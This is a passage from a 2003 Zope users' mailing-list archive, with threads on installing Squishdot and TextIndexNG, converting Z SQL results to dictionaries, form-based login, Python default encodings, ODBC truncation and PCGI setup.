>http://mail.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > From fittipaldipaula at yahoo.com.ar Sat Aug 9 21:59:43 2003 From: fittipaldipaula at yahoo.com.ar (=?iso-8859-1?q?Paula=20Fittipaldi?=) Date: Sat Aug 9 19:59:47 2003 Subject: [Zope] squishdot Message-ID: <20030809235943.73714.qmail@web13115.mail.yahoo.com> Hello!! I need help to install Squishdot. In my PC I have installed Zope 2.6.2b5 and I didn't know in what directory put the zip that gets off the page zope.org. neither how to make to use it (Is it necessary to configure something?) Excuse if I am not clear, I don't know how to express me correctly in English, my language is Spanish. Please, I need them to answer me as soon as possible. Thank you. ------------ Internet GRATIS es Yahoo! Conexi?n 4004-1010 desde Buenos Aires. Usuario: yahoo; contrase?a: yahoo M?s ciudades: http://conexion.yahoo.com.ar From Jerry at Westrick.Com Sun Aug 10 11:20:50 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Sun Aug 10 06:20:53 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <3F3576FC.2050205@bellsouth.net> References: <3F34191B.7020900@center7.com> <1060385443.20159.23.camel@jerry.westrick.local> <3F3576FC.2050205@bellsouth.net> Message-ID: <1060506793.24082.54.camel@jerry.westrick.local> Ah... that is exactly what I wanted but...... with the following code: # Get User Info for row in context.Get_UserInfo(user=request.AUTHENTICATED_USER): values['user'] = row.dictionary() print values['user'] return printed I get an error: Error Type: AttributeError Error Value: dictionary Ditto for dictionaries() On Sun, 2003-08-10 at 00:34, Kevin Carlson wrote: > This one is pretty straightforward. You can turn a ZSQL result set into > a list of dictionaries simply by calling the dictionaries() method on > the result set. > > For example: > > results = ZSQLMethod.getSomethingFromDB() > dicts = results.dictionaries() > > Hope that helps, > > Kevin > > Jerry Westrick wrote: > > >Hello... > > > >anybody know how to convert the row returned from > >an Z SQL into a dictionary? > > > >Jerry > > > > > >_______________________________________________ > >Zope maillist - Zope@zope.org > >http://mail.zope.org/mailman/listinfo/zope > >** No cross posts or HTML encoding! ** > >(Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From juanma at mailmadrid.com Sun Aug 10 13:43:31 2003 From: juanma at mailmadrid.com (Juan Manuel Ruiz Garcia) Date: Sun Aug 10 06:44:05 2003 Subject: [Zope] TextIndexNG Message-ID: <44262.80.58.0.170.1060512211.squirrel@llca352-a.servidoresdns.net> I'm trying to install TextIndexNG2.0 in my Zope. I have unzipped the distribution pack at the Products directory, as usual. Wiki-Documentation tells that I have to "grab the the prebuild TextIndexNGExtension? binaries for Windows from Sourceforge"... Well I have them, but where I should put them to make it work? Thanks in advance, From Jerry at Westrick.Com Sun Aug 10 11:52:59 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Sun Aug 10 06:53:01 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <3F351819.3010905@verizon.net> References: <3F34191B.7020900@center7.com> <1060385443.20159.23.camel@jerry.westrick.local> <3F351819.3010905@verizon.net> Message-ID: <1060508602.24083.72.camel@jerry.westrick.local> Thanks for your help, but.... I tried this routine (mythod) both as a python script and as an External python script. as a python script I get errors stating that "__" variables are private... as external method I get the following errors: Error Type: AttributeError Error Value: __dict__ Jerry On Sat, 2003-08-09 at 17:49, Satheesh Babu wrote: > > anybody know how to convert the row returned from > > an Z SQL into a dictionary? > > You could write a Python function (or in Zope terms, a Python Script ) > like this that converts an object to a dictionary > > > def class2dict(o): > """Return a dictionary from object that has public > variable -> key pairs > """ > dict = {} > #all the attributes in a class are already in __dict__ > for elem in o.__dict__.keys(): > if elem.find("_" + o.__class__.__name__) == 0: > continue > #We discard private variables, which are automatically > #named _ClassName__variablename, when we define it in > #the class as __variablename > else: > dict[elem] = o.__dict__[elem] > return dict > > Note: this is tested in Python world; but I haven't used it in Zope ZSQL. > > - Babu > -- > http://vsbabu.org/ > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From andreas at andreas-jung.com Sun Aug 10 14:02:25 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sun Aug 10 07:02:13 2003 Subject: [Zope] TextIndexNG In-Reply-To: <44262.80.58.0.170.1060512211.squirrel@llca352-a.servidoresdns.net> References: <44262.80.58.0.170.1060512211.squirrel@llca352-a.servidoresdns.n et> Message-ID: <2147483647.1060520545@[192.168.0.3]> Put them somewhere into the search path of your python interpreter or set PYTHONPATH according to your local system (see Python docs). -aj --On Sonntag, 10. August 2003 12:43 Uhr +0200 Juan Manuel Ruiz Garcia wrote: > I'm trying to install TextIndexNG2.0 in my Zope. I have unzipped the > distribution pack at the Products directory, as usual. Wiki-Documentation > tells that I have to "grab the the prebuild TextIndexNGExtension? binaries > for Windows from Sourceforge"... Well I have them, but where I should put > them to make it work? > > Thanks in advance, > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From ger at hksz.eszhok.bme.hu Sun Aug 10 14:27:35 2003 From: ger at hksz.eszhok.bme.hu (BORGULYA Gergely) Date: Sun Aug 10 07:24:45 2003 Subject: [Zope] authentication via form Message-ID: Hi, I'm developing a small site in Zope with a simple, own management interface (where the contets of Documents can be easily changed using forms). The last few days' change in the ZopeBook on www.zope.org seems to be very useful, thanks for the authors! Although I could not find out, how to authenticate users not by calling a zope object that needs special permissions to access, but using a form with a login/passwd box and passing the arguments to some kind of functions. Can REQUEST.['AUTHENTICATED_USER'] be modified somehow? I could not find any function that I suppose to do this. Gergely Borgulya From Jerry at Westrick.Com Sun Aug 10 12:57:13 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Sun Aug 10 07:57:14 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <1060385443.20159.23.camel@jerry.westrick.local> References: <3F34191B.7020900@center7.com> <1060385443.20159.23.camel@jerry.westrick.local> Message-ID: <1060516501.24083.94.camel@jerry.westrick.local> Thanky you everybody.... I finally got it... I'll explain it here (maybe someone is as silly as I am and this'll help) Point 1: Z SQL Method returns a result set. Point 2: a result set, has a ".dictionaries()" method Point 3: The result set, contains a list of (instances of r) Point 4: an instance of r does NOT have a .dictionaries() nor anything similar! so insead of for row in (context.Get_Template(...)): values[row['username']] = row.dictionary() I need to use: result = context.Get_Template(...) for row in (result.dictionaries()) values[row['username']] = row Took a while but I finally got it! Jerry P.S. Thanks again for all your patience and help... On Sat, 2003-08-09 at 01:30, Jerry Westrick wrote: > Hello... > > anybody know how to convert the row returned from > an Z SQL into a dictionary? > > Jerry > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From juanma at mailmadrid.com Sun Aug 10 15:16:50 2003 From: juanma at mailmadrid.com (Juan Manuel Ruiz Garcia) Date: Sun Aug 10 08:17:24 2003 Subject: [Zope] TextIndexNG In-Reply-To: <2147483647.1060520545@[192.168.0.3]> References: <44262.80.58.0.170.1060512211.squirrel@llca352-a.servidoresdns.net> <2147483647.1060520545@[192.168.0.3]> Message-ID: <53864.80.58.0.170.1060517810.squirrel@llca352-a.servidoresdns.net> I'm using Plone 1.0.3 = Zope 2.6, Pyhton 2.1.3. If I put them into the Plone\Python\DLLs folder it doesn't works. I've tried to put them in several places (inside de folder product, at the folder where python.exe is...) and I can't make it work... what am i doing wrong? Thanks > Put them somewhere into the search path of your python interpreter or > set PYTHONPATH according to your local system (see Python docs). > > -aj > > --On Sonntag, 10. August 2003 12:43 Uhr +0200 Juan Manuel Ruiz Garcia > wrote: > >> I'm trying to install TextIndexNG2.0 in my Zope. I have unzipped the >> distribution pack at the Products directory, as usual. >> Wiki-Documentation tells that I have to "grab the the prebuild >> TextIndexNGExtension? binaries for Windows from Sourceforge"... Well I >> have them, but where I should put them to make it work? >> >> Thanks in advance, >> >> >> >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://mail.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) From roel at planetinterior.com Sun Aug 10 15:36:36 2003 From: roel at planetinterior.com (Roel Van den Bergh) Date: Sun Aug 10 08:32:21 2003 Subject: [Zope] Problems installings TextIndexNG Message-ID: Hi all, I tried installing TextIndexNG following the installation instructions but I'm stuck. Everytime I restart Zope I get the following error. I compiled puython extensions for TextIndexNG with Python-2.1.3 installed from source Zope 2.5.1 installed from source using Python 2.1.3 on fully patched (trough up2date) RedHat 7.3 from scratch last thursday Any suggestions? TIA, Roel [root@PlanetInterior 2-5-1]# ./start -D ------ 2003-08-10T09:35:01 INFO(0) Transparent Folders Applied patch version 0.3.2. ------ 2003-08-10T09:35:03 INFO(0) Hotfixes Applying Hotfix_2002-04-15 ------ 2003-08-10T09:35:03 INFO(0) NuxUserGroups.BasicUserWithGroups Patching BasicUser ------ 2003-08-10T09:35:03 INFO(0) NuxUserGroups.LocalRolesWithGroups Patching RoleManager ------ 2003-08-10T09:35:03 INFO(0) NuxUserGroups.CatalogToolWithGroups Patching CatalogTool ------ 2003-08-10T09:35:03 ERROR(200) TextIndexNG Import of Python extensions failed ------ 2003-08-10T09:37:23 INFO(0) ZODB Opening database for mounting: '142267408_1031568617.597256' ------ 2003-08-10T09:37:23 INFO(0) ZODB Mounted database '142267408_1031568617.597256' at /temp_folder ------ 2003-08-10T09:37:25 ERROR(200) Zope Couldn't install TextIndexNG Traceback (innermost last): File /home/zope/2-5-1/lib/python/OFS/Application.py, line 637, in install_product (Object: Zope) (Info: TextIndexNG) File /home/zope/2-5-1/lib/python/Products/TextIndexNG/__init__.py, line 81, in initialize File /home/zope/2-5-1/lib/python/Products/TextIndexNG/TextIndexNG.py, line 45, in ? File /home/zope/2-5-1/lib/python/Products/TextIndexNG/normalizers/__init__.py, line 14, in ? File /home/zope/2-5-1/lib/python/Products/TextIndexNG/Normalizer.py, line 12, in ? ImportError: No module named normalizer ------ 2003-08-10T09:37:26 INFO(0) Zope New disk product detected, determining if we need to fix up any ZClasses. ------ 2003-08-10T09:37:26 INFO(0) ZServer HTTP server started at Sun Aug 10 11:37:26 2003 Hostname: PlanetInterior Port: 8080 ------ 2003-08-10T09:37:26 INFO(0) ZServer FTP server started at Sun Aug 10 11:37:26 2003 Hostname: PlanetInterior Port: 8021 ------ 2003-08-10T09:37:26 INFO(0) ZServer PCGI Server started at Sun Aug 10 11:37:26 2003 Unix socket: /home/zope/2-5-1/var/pcgi.soc - - - Roel Van den Bergh Planet Interior bvba Brouwerijstraat 16 2200 Noorderwijk - Belgium tel: +32 (0)14 279393 fax: +32 (0)14 264790 http://www.planetinterior.com This email and any attached files are confidential and may be legally privileged. If you are not the intended recipient, any disclosure, reproduction, copying, distribution, or other dissemination or use of this communication is strictly prohibited. If you have received this transmission in error please notify the sender immediately and then delete this email. Email transmission cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore is in no way liable for any errors or omissions in the content of this message, which may arise as a result of email transmission. If verification is required, please request a hard copy. From andreas at andreas-jung.com Sun Aug 10 15:41:27 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sun Aug 10 08:41:41 2003 Subject: [Zope] Problems installings TextIndexNG In-Reply-To: References: Message-ID: <2147483647.1060526487@[192.168.0.3]> This looks like either the extensions are not installed properly or your file permissions of the extensions module are borked or you are installing or compiling the extension module with a Python interpreter other than you are using for Zope. -aj --On Sonntag, 10. August 2003 14:36 Uhr +0200 Roel Van den Bergh wrote: > Hi all, > > I tried installing TextIndexNG following the installation instructions but > I'm stuck. > Everytime I restart Zope I get the following error. > > I compiled puython extensions for TextIndexNG with Python-2.1.3 installed > from source > > Zope 2.5.1 installed from source using Python 2.1.3 on fully patched > (trough up2date) RedHat 7.3 from scratch last Thursday > > Any suggestions? > > TIA, Roel > > [root@PlanetInterior 2-5-1]# ./start -D > ------ > 2003-08-10T09:35:01 INFO(0) Transparent Folders Applied patch version > 0.3.2. ------ > 2003-08-10T09:35:03 INFO(0) Hotfixes Applying Hotfix_2002-04-15 > ------ > 2003-08-10T09:35:03 INFO(0) NuxUserGroups.BasicUserWithGroups Patching > BasicUser > ------ > 2003-08-10T09:35:03 INFO(0) NuxUserGroups.LocalRolesWithGroups Patching > RoleManager > ------ > 2003-08-10T09:35:03 INFO(0) NuxUserGroups.CatalogToolWithGroups Patching > CatalogTool > ------ > 2003-08-10T09:35:03 ERROR(200) TextIndexNG Import of Python extensions > failed > ------ > 2003-08-10T09:37:23 INFO(0) ZODB Opening database for mounting: > '142267408_1031568617.597256' > ------ > 2003-08-10T09:37:23 INFO(0) ZODB Mounted database > '142267408_1031568617.597256' at /temp_folder > ------ > 2003-08-10T09:37:25 ERROR(200) Zope Couldn't install TextIndexNG > Traceback (innermost last): > File /home/zope/2-5-1/lib/python/OFS/Application.py, line 637, in > install_product > (Object: Zope) > (Info: TextIndexNG) > File /home/zope/2-5-1/lib/python/Products/TextIndexNG/__init__.py, line > 81, in initialize > File /home/zope/2-5-1/lib/python/Products/TextIndexNG/TextIndexNG.py, > line 45, in ? > File > /home/zope/2-5-1/lib/python/Products/TextIndexNG/normalizers/__init__.py, > line 14, in ? > File /home/zope/2-5-1/lib/python/Products/TextIndexNG/Normalizer.py, > line 12, in ? > ImportError: No module named normalizer > > > ------ > 2003-08-10T09:37:26 INFO(0) Zope New disk product detected, determining if > we need to fix up any ZClasses. > ------ > 2003-08-10T09:37:26 INFO(0) ZServer HTTP server started at Sun Aug 10 > 11:37:26 2003 > Hostname: PlanetInterior > Port: 8080 > ------ > 2003-08-10T09:37:26 INFO(0) ZServer FTP server started at Sun Aug 10 > 11:37:26 2003 > Hostname: PlanetInterior > Port: 8021 > ------ > 2003-08-10T09:37:26 INFO(0) ZServer PCGI Server started at Sun Aug 10 > 11:37:26 2003 > Unix socket: /home/zope/2-5-1/var/pcgi.soc > > > - - - > > Roel Van den Bergh > Planet Interior bvba > Brouwerijstraat 16 > 2200 Noorderwijk - Belgium > > tel: +32 (0)14 279393 > fax: +32 (0)14 264790 > http://www.planetinterior.com > > This email and any attached files are confidential and may be legally > privileged. > If you are not the intended recipient, any disclosure, reproduction, > copying, distribution, or other dissemination or use of this communication > is strictly prohibited. > If you have received this transmission in error please notify the sender > immediately and then delete this email. > Email transmission cannot be guaranteed to be secure or error free as > information could be intercepted, corrupted, lost, destroyed, arrive late > or incomplete, or contain viruses. > The sender therefore is in no way liable for any errors or omissions in > the content of this message, which may arise as a result of email > transmission. If verification is required, please request a hard copy. > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From missive at hotmail.com Sun Aug 10 15:14:27 2003 From: missive at hotmail.com (Lee Harr) Date: Sun Aug 10 10:15:02 2003 Subject: [Zope] Re: squishdot Message-ID: >I need help to install Squishdot. >In my PC I have installed Zope 2.6.2b5 and I didn't >know in what directory put the zip that gets off the >page zope.org. neither how to make to use it (Is it >necessary to configure something?) > It depends on the product zipfile.... The Squishdot folder needs to end up in ${ZOPE_DIR}/lib/python/Products/ Sometimes the zips are from the ${ZOPE_DIR} and sometimes they are from the ${ZOPE_PRODUCTS_DIR} Your best bet may be to unpack it in an empty folder and see what you get. Look for the Squishdot folder and move that in to place. There is also probably a README file in the zip that gives instructions on how to install it. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From khcarlso at bellsouth.net Sun Aug 10 14:18:24 2003 From: khcarlso at bellsouth.net (Kevin Carlson) Date: Sun Aug 10 13:18:00 2003 Subject: [Zope] authentication via form In-Reply-To: References: Message-ID: <3F367E60.9020002@bellsouth.net> BORGULYA Gergely wrote: >Although I could not find out, how to authenticate users not by calling a >zope object that needs special permissions to access, but using a form >with a login/passwd box and passing the arguments to some kind of >functions. > > > Sounds like a case for CookieCrumbler to me. That product should do exactly what you are looking for. Kevin From dieter at handshake.de Sun Aug 10 20:46:38 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 10 13:54:54 2003 Subject: [Zope] SUMMARY: strange unicode behaviour, unicode and ZCTextIndex In-Reply-To: <200307291902.32444.tdickenson@geminidataloggers.com> References: <200307251232.52583.tdickenson@geminidataloggers.com> <16161.30490.254582.239905@gargle.gargle.HOWL> <200307291902.32444.tdickenson@geminidataloggers.com> Message-ID: <16182.34046.292422.268203@gargle.gargle.HOWL> Toby Dickenson wrote at 2003-7-29 19:02 +0100: > On Friday 25 July 2003 19:29, Dieter Maurer wrote: > > ... > > Due to this default encoding, I save me from myriads of > > encoding errors and make interactive debugging feasible. > > Surely, you will understand, that I do not want to add > > an "encode('iso-8859-1')" to any value I output with "print" > > during interactive debugging. > > Yes. I work in a mostly utf-8 world, and I originally wanted Python's unicode > support to work somewhat like you are using it when first pioneering unicode > in Zope. Guido convinced me otherwise: > > http://aspn.activestate.com/ASPN/Mail/Message/i18n-sig/581409 > (last paragraph in particular) I read the explanation but I am not convinced. While I agree fully that modules and packages destined to be used world wide (such as Zope) should not make any assumptions about the default encoding (I think, "[cp]DocumentTemplate" is buggy in this respect), I feel strongly that Python should provide means to determine the default encoding and do not fix it to an US standard. I live in an "ISO-8859-15" world. Terminal, file system, servers all use this encoding. Especially for interactive use of the Python interpreter, it would be *really* nasty to have each (potential) unicode string explicitely encoded in the *true* default encoding of my environment. Python currently restricts the use of "setdefaultencoding" to the initialization time. I can live with this restriction as I would not change it afterwards, anyway. I faintly remember that Guido has reservations about locale support. Nevertheless, it is a good step to let software adapt to the environment it is used in. In my view, the default encoding is a similar device which allows Python's Unicode support to adapt to the defaults employed where Python programs are executed (rather than favour US usage only). > > I did not met any library that has had problems with this -- > > neither Zope nor any other Python library I am using. > > I think that is similar to how many people used those pentiums with the fdiv > bug without noticing a problem. I know that there is no device completely faultless. Nevertheless, I am using many of them. I would not have been worried when I had observed that I use a Pentium with the "fdiv" bug (as I do not control power plants, airline or similar sensible systems but just develop software. The worst thing which may happen it that I spend some hours trying to find the reason for an apparently unexplainable behaviour). Dieter From mlong at datalong.com Sun Aug 10 14:55:51 2003 From: mlong at datalong.com (Michael Long) Date: Sun Aug 10 13:55:57 2003 Subject: [Zope] loading zope within python interpreter Message-ID: Thanks for the recipe. Things in 2.7 have changed significantly and to load the ZODB takes a little bit more work. This link http://mail.zope.org/pipermail/zope-dev/2003-August/020283.html has a recipe that shows how to do it. I found with 2.7.0b1 you must ignore the last 2 lines referencing *dropPrivileges*. --mike > On Fri, Aug 08, 2003 at 10:23:58AM -0400, Michael Long wrote: > > > > Hi, > > > > Is there a recipe/product that will load the ZODB as well as the zope > > environment from within the python interpreter? I would like to be able > > to play/test with a product that I am creating from within the interpreter. > > IIRC things have changed somehow for zope 2.7, but for zope <= 2.6 you > can do this: > > pw@kermit Zope-2.6.1-src $ export PYTHONPATH=lib/python/ > pw@kermit Zope-2.6.1-src $ python > Python 2.2.3 (#1, Jul 22 2003, 12:28:47) > [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import Zope > >>> app = Zope.app() # this takes a few seconds > >>> app.objectIds() > ['acl_users', 'Control_Panel', 'standard_html_header', 'standard_html_footer', 'standard_error_message', 'index_html', 'temp_folder', 'browser_id_manager', 'session_data_manager', 'Examples', 'error_log', 'standard_template.pt'] > > -- > > Paul Winkler > http://www.slinkp.com > Look! Up in the sky! It's THE TENSILE AARDVARK! > (random hero from isometric.spaceninja.com) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > From jonas at freesources.org Mon Aug 11 01:29:44 2003 From: jonas at freesources.org (Jonas Meurer) Date: Sun Aug 10 18:29:52 2003 Subject: [Zope] newbie problems with zope in debian/testing Message-ID: <20030810222944.GB13537@smeagol.chathelp.de> hi ho, i just started playing with zope in debian/testing, but didn't get the picture how to start it. seems like the package is kind of broken. or did i simply miss something in docs etc.? please help, i would like to keep my zope installs in debian packages. bye mejo From David.Orr at hwe.com.au Mon Aug 11 12:09:37 2003 From: David.Orr at hwe.com.au (David Orr) Date: Sun Aug 10 21:13:12 2003 Subject: [Zope] Truncation Reading from ODBC Message-ID: I would suggest that the issue is with the ODBC driver. I had similar issues getting data out of a DB2 database and after fiddling around for hours with code found a checkbox on a tab for the driver (DSN). Hope that helps. -----Original Message----- From: J Cameron Cooper [mailto:jccooper@jcameroncooper.com] Sent: Saturday, 9 August 2003 7:08 AM To: Zope user list Subject: Re: [Zope] Truncation Reading from ODBC > > >I'm trying to read (and later probably write) large strings to a >postgress database. >... >When I read a column with 20,000+ characters I only get the first >8194 characters. > >Is this: >1) a Zope restriction? > > This is a very unlikely cause, but I recall that certain Python data structures (files?) may look like strings up to a certain point, but then contain a link to another node with more data. You can get the whole of the contents by str(the_thing). But them, you're probably using the string type already. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From lists at localguru.de Mon Aug 11 08:57:00 2003 From: lists at localguru.de (Marcus Schopen) Date: Mon Aug 11 01:57:36 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <20030810222944.GB13537@smeagol.chathelp.de> References: <20030810222944.GB13537@smeagol.chathelp.de> Message-ID: <3F37302C.1090409@localguru.de> Jonas Meurer wrote: > hi ho, > i just started playing with zope in debian/testing, but didn't get the > picture how to start it. seems like the package is kind of broken. or > did i simply miss something in docs etc.? please help, i would like to > keep my zope installs in debian packages. help would be easier, if you could tell us, what exactly "broken" is. A normal "apt-get install zope" should work fine. after that debconf will ask a you few questions. that's it ....quite easy and nice. Saluti, M. -- Marcus Schopen (0> P.O. Box 10 25 25 //\ Deutsche Zope User Group D-33525 Bielefeld V_/_ www.dzug.org Weird, but life is too short, move on ... From elena.schulz at gmx.net Sat Aug 9 11:36:32 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Mon Aug 11 03:24:58 2003 Subject: [Zope] zsql-Methods: how to make a dynamic where-clause? References: <005001c35dbc$e883ea60$010aa8c0@PCA> <3F33BD2D.5010301@verizon.net> Message-ID: <000201c35fd9$a3612320$010aa8c0@PCA> Hi Babu, thanks for your hints: > = '' Because of security reasons I'll try if it works with dtml-sqlvar, too or I'll use the sql_quote attribute (or fmt=sql-quote). My question with sqlvar is, is there a way to change the type=whatever dynamically? > you can extend this to check for types, different condition joiners etc. then this would be more elegant. -- Elena From michael at bleijerveld.nl Mon Aug 11 10:44:45 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Mon Aug 11 03:44:28 2003 Subject: [Zope] zpt link to file Message-ID: <009301c35fdc$6f184050$9700000a@MICHAEL> Hi, The following statements are converted from DTML. Files are stored in a Localfs object. HOME TITLE OR ID 1) The link to the file doesn't work. Must I replace attributes with another statement ? 2) I want to make user variable. How can I solve this ? Regards. Michael From horatio at qpsf.edu.au Mon Aug 11 19:03:14 2003 From: horatio at qpsf.edu.au (Aguido Horatio Davis) Date: Mon Aug 11 04:11:22 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 Message-ID: G'day, I am installing Zope on a server whose only Python is 2.3 and which is already running Apache on port 80. Port 80 is the only one that is permitted through our local firewalls, a small but significant percentage of the audience are outside the firewall, and the system administrator (who isn't me) refuses point-blank to permit the use of mod_fastcgi or mod_proxy. So I'm trying to build Zope 2.7b1 with PCGI support. When the dust settles on the "make build; make install" there is no Zope.cgi to be seen. The file doc/WEBSERVERS.txt has the intriguing sentence: To install PCGI, please get the PCGI support package from XXX, and read the pcgi/README.txt file from that package. and then blithely describes what to do once you _have_ a Zope.cgi file to play with. Can anybody point me at the mysterious XXX, or failing that, tell me how to coerce Zope 2.7 into coughing up a Zope.cgi file? Cheers, Horatio From roel at planetinterior.com Mon Aug 11 11:16:03 2003 From: roel at planetinterior.com (Roel Van den Bergh) Date: Mon Aug 11 04:11:57 2003 Subject: [Zope] Problems installings TextIndexNG In-Reply-To: <2147483647.1060526487@[192.168.0.3]> Message-ID: I used the same Python-2.1.3 for both the Zope build and the extensions. Build Zope as normal user. Had to build extensions as root, normal user build gave complaints about insufficiant privileges. [root@PlanetInterior TextIndexNG]# ls -al total 528 drwx------ 20 RoelV RoelV 4096 Aug 9 17:02 . drwxrwxr-x 35 RoelV RoelV 4096 Aug 10 11:44 .. -rw-rw-r-- 1 RoelV RoelV 1610 Jan 6 2003 BaseConverter.py -rw-r--r-- 1 root root 3839 Aug 9 15:45 BaseConverter.pyc -rw-rw-r-- 1 RoelV RoelV 797 Jan 6 2003 BaseParser.py -rw-r--r-- 1 root root 1619 Aug 9 15:45 BaseParser.pyc -rw-rw-r-- 1 RoelV RoelV 1924 Jan 6 2003 BaseThesaurus.py drwxrwxr-x 4 RoelV RoelV 4096 Aug 9 17:02 build -rw-rw-r-- 1 RoelV RoelV 586 Jan 6 2003 classVerify.py -rw-r--r-- 1 root root 415 Aug 9 15:45 classVerify.pyc drwxrwxr-x 4 RoelV RoelV 4096 Jan 6 2003 CompressedList -rw-rw-r-- 1 RoelV RoelV 592 Jan 6 2003 ConverterRegistry.py -rw-r--r-- 1 root root 711 Aug 9 15:45 ConverterRegistry.pyc drwxrwxr-x 3 RoelV RoelV 4096 Aug 9 15:45 converters drwx------ 2 RoelV RoelV 4096 Jan 6 2003 CVS drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 deprecated drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 dtml drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 help drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 images -rw-rw-r-- 1 RoelV RoelV 2683 Jan 6 2003 __init__.py -rw-rw-r-- 1 RoelV RoelV 4009 Aug 9 15:43 __init__.pyc -rw-rw-r-- 1 RoelV RoelV 145 Jan 6 2003 INSTALL -rwxrwxr-x 1 RoelV RoelV 5835 Jan 6 2003 interactiveDemo.py drwxrwxr-x 3 RoelV RoelV 4096 Aug 9 15:45 interfaces -rw-rw-r-- 1 RoelV RoelV 573 Jan 6 2003 LexiconRegistry.py -rw-r--r-- 1 root root 683 Aug 9 15:45 LexiconRegistry.pyc drwxrwxr-x 3 RoelV RoelV 4096 Jan 7 2003 lexicons -rwxrwxr-x 1 RoelV RoelV 958 Jan 6 2003 LICENSE.txt -rw-rw-r-- 1 RoelV RoelV 991 Jan 6 2003 logger.py -rw-r--r-- 1 root root 1986 Aug 9 15:45 logger.pyc -rw-rw-r-- 1 RoelV RoelV 71082 Jan 6 2003 logging.py -rw-r--r-- 1 root root 85113 Aug 9 15:45 logging.pyc -rw-rw-r-- 1 RoelV RoelV 473 Jan 6 2003 Makefile -rw-rw-r-- 1 RoelV RoelV 761 Jan 6 2003 MANIFEST -rw-rw-r-- 1 RoelV RoelV 2468 Jan 6 2003 Normalizer.py -rw-r--r-- 1 root root 4404 Aug 9 15:45 Normalizer.pyc -rw-rw-r-- 1 RoelV RoelV 596 Jan 6 2003 NormalizerRegistry.py -rw-r--r-- 1 root root 718 Aug 9 15:45 NormalizerRegistry.pyc drwxrwxr-x 3 RoelV RoelV 4096 Aug 9 15:45 normalizers -rw-rw-r-- 1 RoelV RoelV 564 Jan 6 2003 ParserRegistry.py -rw-r--r-- 1 root root 670 Aug 9 15:45 ParserRegistry.pyc drwxrwxr-x 5 RoelV RoelV 4096 Aug 9 15:45 parsers -rw-rw-r-- 1 RoelV RoelV 2873 Jan 6 2003 ParseTree.py -rw-r--r-- 1 root root 7534 Aug 9 15:45 ParseTree.pyc -rw-rw-r-- 1 RoelV RoelV 3074 Jan 6 2003 PositionMap.py -rw-rw-r-- 1 RoelV RoelV 52 Jan 6 2003 README -rw-rw-r-- 1 RoelV RoelV 13 Jan 6 2003 refresh.txt -rw-rw-r-- 1 RoelV RoelV 2339 Jan 6 2003 Registry.py -rw-r--r-- 1 root root 4252 Aug 9 15:45 Registry.pyc -rw-rw-r-- 1 RoelV RoelV 5412 Jan 6 2003 ResultSet.py -rw-r--r-- 1 root root 7164 Aug 9 15:45 ResultSet.pyc -rw-rw-r-- 1 RoelV RoelV 2297 Jan 6 2003 setup.py -rw-rw-r-- 1 RoelV RoelV 507 Jan 6 2003 SplitterRegistry.py -rw-r--r-- 1 root root 574 Aug 9 15:45 SplitterRegistry.pyc drwxrwxr-x 3 RoelV RoelV 4096 Jan 7 